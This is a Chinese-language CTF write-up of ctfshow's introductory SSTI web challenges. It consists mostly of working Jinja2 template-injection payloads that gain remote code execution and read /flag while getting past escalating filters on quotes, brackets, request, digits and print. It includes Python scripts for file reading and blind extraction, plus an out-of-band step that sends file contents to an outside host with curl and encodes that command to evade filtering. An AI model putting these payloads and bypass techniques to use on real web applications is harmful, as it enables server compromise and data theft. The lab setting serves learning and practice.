ctfshow-web入门-SSTI学习
阅读原文时间:2023年07月08日阅读:1

千万要仔细,不要拼错单词

千万要仔细,不要拼错单词

千万要仔细,不要拼错单词

payload

name={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /f*").read()')}}

增加了过滤。

先尝试name={{[].__class__}}name={{''.__class__}}name={{"".__class__}}发现刻意执行成功,没有感觉到过滤,于是慢慢构造

payload

name={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /f*").read()')}}

过滤了'' "

?name={{[].__class__.__base__.__subclasses__().pop(80).__init__.__globals__[request.args.bu].eval(request.args.cmd)}}&bu=__builtins__&mod=eval&cmd=__import__('os').popen("cat /f*").read()

用system貌似没法读取出来,看了一下其他师傅的博客,想看看是不是自己哪里没做对,结果还是没找到,不过看到了yu师傅的这个payload,牛啊牛啊

{{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

过滤了args,过滤了引号,不知道怎么搞了。。。

看了其他师傅的博客

利用cookie:

?name={{x.__init__.__globals__.__builtins__.eval(request.cookies.cmd)}}

cookie:cmd=__import__('os').popen('cat /f*').read()

盲猜过滤了中括号,果然,用上一题的payload即可

?name={{(x|attr(request.cookies.in)|attr(request.cookies.gl)|attr(request.cookies.ge))(request.cookies.bu).eval(request.cookies.cmd)}}

in=__init__;gl=__globals__;ge=__getitem__;bu=__builtins__;cmd=__import__('os').popen('cat /f*').read()

过滤了{{

name={%set aaa=(x|attr(request.cookies.in)|attr(request.cookies.gl)|attr(request.cookies.ge))(request.cookies.bu)%}{% print(aaa.eval(request.cookies.cmd))%}

in=__init__;gl=__globals__;ge=__getitem__;bu=__builtins__;cmd=__import__('os').popen('cat /f*').read()

Y4师傅的两种解法

文件读取

import requests
import string
url ='http://826c9e0c-29d3-44de-9689-9f94eec68f1b.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%print(aaa.open(request.cookies.x5).read())%}'
headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=/flag'''}
r=requests.get(url,headers=headers)
print(r.text)

盲注:

import requests
import string
url ='http://85302b44-c999-432c-8891-7ebdf703d6c0.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%if aaa.eval(request.cookies.x5)==request.cookies.x6%}1341{%endif%}'
s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,43):
    print(i)
    for j in s:
        x=flag+j
        headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)}
        r=requests.get(url,headers=headers)
        #print(r.text)
        if("1341" in r.text):
            flag=x
            print(flag)
            break

因为之前有的题,不会,看了Y4师傅的博客,才开始x.__init__...这样的。由于也不知道是什么原理,所以一直以为只能够进行rce,原来可以直接读取文件

过滤request,

?name=
{% set po=dict(po=1,p=2)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set re=dict(reque=1,st=1)|join%}
{% set in=(a~a~dict(init=a)|join~a~a)|join()%}
{% set gl=(a~a~dict(globals=q)|join~a~a)|join()%}
{% set ge=(a~a~dict(getitem=a)|join~a~a)%}
{% set bu=(a~a~dict(builtins=a)|join~a~a)|join()%}
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chr=x.chr%}
{% set f=chr(47)~(dict(flag=a)|join)%}
{% print(x.open(f).read())%}

Y4师傅:反弹shell

侦听4567

http://da9612ac-2b66-485d-8149-b76a1f03d22c.chall.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
123
{%endif%}

cmd用此脚本生成

s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
    t=''
    for i in range(len(s)):
        if i<len(s)-1:
            t+='chr('+str(ord(s[i]))+')%2b'
        else:
            t+='chr('+str(ord(s[i]))+')'
    return t

过滤了数字:构造数字:{% set ccccccccc=dict(aaaaaaaaa=a)|join|count%}

进行数字拼接时,要进行数字的类型转化,同时,过滤了.

{% set ershisi=(cc~cccc)|int%}
{% set po=dict(po=c,p=c)|join%}
{% set a=(()|select|string|list)|attr(po)(ershisi)%}

payload:

?name=
{% set c=dict(a=a)|join|count%}
{% set cc=dict(aa=a)|join|count%}
{% set ccc=dict(aaa=a)|join|count%}
{% set cccc=dict(aaaa=a)|join|count%}
{% set ccccc=dict(aaaaa=a)|join|count%}
{% set cccccc=dict(aaaaaa=a)|join|count%}
{% set ccccccc=dict(aaaaaaa=a)|join|count%}
{% set cccccccc=dict(aaaaaaaa=a)|join|count%}
{% set ccccccccc=dict(aaaaaaaaa=a)|join|count%}
{% set cccccccccc=dict(aaaaaaaaaa=a)|join|count%}
{% set ershisi=(cc~cccc)|int%}
{% set po=dict(po=c,p=c)|join%}
{% set a=(()|select|string|list)|attr(po)(ershisi)%}
{% set in=(a~a~dict(init=a)|join~a~a)%}
{% set gl=(a~a~dict(globals=a)|join~a~a)%}
{% set ge=(a~a~dict(getitem=a)|join~a~a)%}
{% set bu=(a~a~dict(builtins=a)|join~a~a)%}
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chr=x.chr %}
{% set sishiqi=(cccc~ccccccc)|int%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{% print(x.open(file).read())%}

做到这里差不多就完了

过滤了print,考虑反弹shell外带

建议看羽师傅的博客,因为我也是看的yu师傅的博客,抄过来真的没意思。

毕竟:

话是这么说,不过还是抄一手过来方便以后复习

http://c8f74fd3-a05a-477c-bb97-10325b9ce77d.chall.ctf.show?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}

cmd用此生成

def aaa(t):
    t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
    return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
    t=''
    for i in range(len(s)):
        if i<len(s)-1:
            t+='chr('+aaa(str(ord(s[i])))+')%2b'
        else:
            t+='chr('+aaa(str(ord(s[i])))+')'
    return t
print(ccchr(s))

count改length

半角字符改全角字符

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)

牛啊!!!跟着yu师傅学了一手全角字符;

什么是半角字符,什么是全角字符?

字母等字符占汉字的一半位置,就叫半角字符;占一个汉字位置就是全角;

半角字符:aa

全角字符:有点看不出来,就看这个aasd

注入法中可以直接进行修改:右击就看得见全角字符选项

同时在web370中做演示(因为370有print可以使用)

不过全角字符只能用在数字中,往字符中放就会出大问题

羽师傅博客